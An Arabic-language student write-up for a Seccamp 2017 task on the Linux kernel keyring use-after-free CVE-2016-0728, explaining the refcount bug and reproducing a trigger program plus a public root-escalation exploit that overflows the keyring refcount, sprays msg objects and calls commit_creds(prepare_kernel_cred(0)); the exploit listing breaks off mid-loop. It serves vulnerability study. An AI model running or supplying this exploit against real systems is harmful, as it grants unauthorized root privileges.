
شرح تعليمي لاستغلال ثغرة في نواة لينكس CVE-2016-0728 (استخدام بعد التحرير في خدمة الاحتفاظ بالمفاتيح) مع تحليل مفصّل، وكود إثبات المفهوم (PoC)، ومناقشة وسائل التخفيف لتصعيد الامتيازات.
مهمة Seccamp 2017
البرنامج التالي يستغل ثغرة موجودة في نواة لينكس من الإصدار 3.8 إلى 4.4. اشرح العطل الذي يحدث نتيجة تنفيذ هذا البرنامج. كما قم بكتابة استغلال (exploit) يرفع الصلاحيات إلى صلاحية الجذر (root) عبر استغلال هذه الثغرة بشكل أعمق، واشرح بيئة التشغيل التي جرّبتها عليها ونقاط الابتكار لديك. بالإضافة إلى ذلك، اذكر أكبر عدد ممكن من الطرق للتخفيف من مثل هذا الهجوم واشرحها. ليس من الضروري أن تفهم كل شيء بشكل كامل، فاكتب بكلماتك الخاصة المعلومات التي تمكنت من فهمها حتى الآن، ومراحل المحاولات، وما شعرت به. وإذا كانت هناك مواقع أو مراجع استعنت بها، فاذكر مصادرها بوضوح.
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
}
return 0;
}
بيئة التحقق هي كما يلي:
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
لقد عرفت هذه الثغرة لأول مرة، وسأصف ما اكتشفته أثناء البحث وما جربته في تلك العملية. أولاً، سأشرح خدمة حفظ المفاتيح المستخدمة في هذا البرنامج، ثم ثغرة Use-After-Free التي يستغلها هذا البرنامج وما سبب حدوثها في البرنامج، وبعدها سأصف ما العطل الذي ينجم عن ذلك. هذه الثغرة مسجلة برقم CVE-2016-0728، واستعنت بالموقع التالي كمرجع لملخصها.
كما أن خدمة حفظ المفاتيح في لينكس كانت أيضاً جديدة بالنسبة لي، فاستعنت بصفحة ويب IBM التمهيدية لخدمة حفظ المفاتيح في لينكس
https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html
وبكود مصدر نواة لينكس 3.19 التي هي بيئة التحقق
ولإرسال رسائل النواة إلى نظام التشغيل المضيف عبر الشبكة استعنت بكتاب DEBUG HACKS - تقنيات وأدوات لإتقان التصحيح (O'REILLY).
هذا البرنامج (يُسمى فيما يلي leak.c) يستغل خطأً موجوداً في خدمة حفظ المفاتيح في لينكس، وهذا الخطأ يؤدي إلى ثغرة Use-After-Free. ثغرة Use-After-Free هي ثغرة يمكن من خلالها تنفيذ كود عشوائي عندما تتم الإشارة إلى عنوان ذاكرة كومة (heap) محرَّر بسبب تناقض في البرنامج. أولاً، سأشرح استدعاء النظام keyctl() الذي يستخدمه هذا البرنامج، ثم أصف الخطأ الموجود فيه.
يمكن لكل عملية إنشاء حلقة مفاتيح (keyring) خاصة بها للجلسة الحالية عن طريق استدعاء النظام keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). يمكن مشاركة حلقة المفاتيح هذه بين العمليات من خلال الإشارة إلى اسمها name. إذا كانت العملية تملك بالفعل حلقة مفاتيح جلسة، فإن استدعاء النظام هذا يستبدل حلقة مفاتيح الجلسة بحلقة مفاتيح جديدة. ولأنني أردت فهم هذا السلوك بشكل أفضل، اطلعت على دالة join_session_keyring في كود مصدر النواة /security/keys/process_keys.c. وهي تبدو كالبرنامج التالي. عند استبدال حلقة مفاتيح الجلسة بحلقة مفاتيح جلسة جديدة، يتم تخطي دالة تسمى key_put. دالة key_put هي دالة تتخلى عن المرجع (reference) لحلقة المفاتيح المعطاة في الوسيط. وبتخطيها، يبقى مرجع إلى حلقة المفاتيح الجديدة موجوداً، وهذا يؤدي إلى ثغرة Use-After-Free.
عند مشاركة حلقة المفاتيح هذه بين العمليات، يزداد عدد المراجع الداخلي المخزن في العضو usage من البنية (struct) key. العضو usage من النوع atomic_t، وهو في الواقع معرف (typedef) كبنية تحتوي على متغير واحد من النوع int. كما أنه لا توجد آلية لمنع تجاوز (overflow) هذا العضو usage، لذلك يمكن بزيادة هذا العضو باستمرار تجاوزه حتى يصل إلى 0. عندما يصبح العضو usage صفراً، يتم تحرير حلقة المفاتيح عن طريق جمع القمامة (garbage collection) داخل النظام الفرعي لحلقات المفاتيح. وبوضع وحدة نواة تقوم بأي معالجة أخرى نختارها من فضاء المستخدم في هذه المنطقة المحرَّرة، يمكن تنفيذ تلك المعالجة بصلاحيات النواة.
في الموقع المرجعي، عند تجميع leak.c مع مكتبة keyutils وتنفيذه، يُسجَّل keyring جلسة باسم leaked_key في /proc/keys ويظهر أنه تمت الإشارة إليه 100 مرة. لقد تحققت من ظهور leaked-keyring كما يلي قبل وبعد تنفيذ هذا البرنامج.
# 実行前
$ cat /proc/keys
$ ./leak
# 実行後
$ cat /proc/keys
0fd435e9 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
ومع ذلك، لم يظهر leaked-keyring في بيئة التحقق. جرّبت تغيير شرط حلقة for إلى رقم كبير مثل i < 0x1000000، فظهر leaked-keyring أثناء تنفيذ البرنامج. هذه المرة، ينجح الهجوم عن طريق تجاوز العضو usage لتحرير المفتاح ووضع كائن نواة جديد مكانه. لذلك قررت أن أجرب ذلك فعلياً. استعنت بكود الاستغلال (exploit) من الموقع التالي:
https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}